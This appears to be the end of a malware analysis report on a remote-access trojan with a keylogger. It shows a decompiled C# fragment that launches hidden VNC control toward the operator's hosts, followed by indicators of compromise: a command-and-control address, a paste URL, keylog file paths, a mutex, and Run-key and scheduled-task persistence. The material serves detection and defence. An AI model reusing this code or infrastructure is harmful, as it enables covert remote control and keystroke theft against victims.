Settings.Hw_id, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BS_OD, Settings.In_stall); } else if (asString == "hvnc") { Program.StopHVNC(); int num = (int)unpack_msgpack.ForcePathObject("HPort").AsInteger; if (ClientSocket.<>o__53.<>p__1 == null) { ClientSocket.<>o__53.<>p__1 = CallSite<Action<CallSite, object, string, int>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null) })); } ClientSocket.<>o__53.<>p__1.Target(ClientSocket.<>o__53.<>p__1, obj, Settings.Hos_ts, num); } ClientSocket.Received(); } catch (Exception) { }Indicators of Compromise
Domains and URLs:
https://paste.ee/r/7467kw7n/0
1ri7zwh3k.localto.net:8301
Local Files:
C:\Users\REM\AppData\Roaming\MyData\DataLogs.conf
C:\Users\REM\AppData\Roaming\MyData\DataLogs_keylog_offline.txt
C:\Users\REM\AppData\Roaming\MyData\DataLogs_keylog_online.txt
Mutexes:
OfflineKeylogger
Scheduled Tasks:
dadada
Registries:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dadada.exe
Hashes:
8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496
Low Confidence:
C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat - the file name will be different for each execution.